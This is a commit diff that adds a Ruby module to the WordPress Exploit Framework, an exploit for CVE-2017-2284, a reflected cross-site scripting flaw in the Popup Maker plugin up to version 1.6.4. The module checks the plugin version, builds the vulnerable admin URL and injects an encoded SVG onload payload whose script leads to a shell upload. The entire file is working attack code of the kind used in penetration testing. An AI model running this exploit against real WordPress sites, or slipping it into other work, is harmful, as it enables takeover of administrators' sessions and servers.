Add Popup Maker <= 1.6.4 reflected XSS shell upload

Author: rastating

modules/exploits/popup_maker_reflected_xss_shell_upload.rb

@@ -0,0 +1,37 @@
+class Wpxf::Exploit::PopupMakerReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Popup Maker <= 1.6.4 Reflected XSS Shell Upload',
+      author: [
+        'Chris Liu',                      # Discovery
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8878'],
+        ['CVE', '2017-2284'],
+        ['URL', 'https://jvn.jp/en/jp/JVN92921024/index.html']
+      ],
+      date: 'Jul 24 2017'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('popup-maker', '1.6.5')
+  end
+
+  def vulnerable_url
+    normalize_uri(wordpress_url_admin, 'edit.php')
+  end
+
+  def url_payload
+    url_encode("\"><svg onload=#{xss_ascii_encoded_include_script}>")
+  end
+
+  def url_with_xss
+    "#{vulnerable_url}?post_type=popup&page=pum-settings&tab=#{url_payload}"
+  end
+end